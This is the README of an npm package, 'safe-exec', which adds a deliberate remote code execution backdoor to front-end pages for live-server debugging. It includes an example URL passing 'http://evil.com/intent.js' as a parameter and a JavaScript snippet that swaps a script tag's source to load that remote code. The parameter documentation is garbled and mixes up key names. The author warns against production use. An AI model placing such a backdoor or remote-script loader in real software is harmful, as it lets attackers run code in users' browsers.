controlled remote code execution
npm install safe-exec


Controlled remote code execution. Great for debugging on a live server. Extremely dangerous for everything else.
Uses RSA key pairs.
Via npm:
``sh`
npm install safe-exec
Via Bower:
`sh`
bower install safe-exec
`sh`
make test
Visit page with very some specific query parameters:
* publicKey - plain text passphrase. _WARNING: Persisted in session._message
* - _optional_ value of any kind.
``
http://example.com?privateKey=foobar&message=http://evil.com/intent.js
Then somewhere in your code:
`js
const success = (message) => {
let victim = document.querySelector('script[src="foobar.js"]');
victim.setAttribute('src', message);
};
const failure = (error) => {
console.log(error);
};
exec(location.search, 'somereallylongcipher', sessionStorage, success, failure);
`
You should never use this in a production environment. This library creates an intentional backdoor for your front-end, which is a huge security risk.
This is useful for environments that are difficult replicate on your local machine. It helps to speed up development and debugging.
Executes code if a valid public/private key pair is present.
* search - should just be window.location.search.publicKey
* - any valid RSA public key.sessionStorage
* - pass a reference to DOM sessionStorage to persist execution across session.success
* - callback message => where code execution is defined.error
* - callback error => giving the object where the error occurred.
Returns true on success and false` on failure.
MIT
---
> pori.io ·
> GitHub @pori ·
> Twitter @pori_alex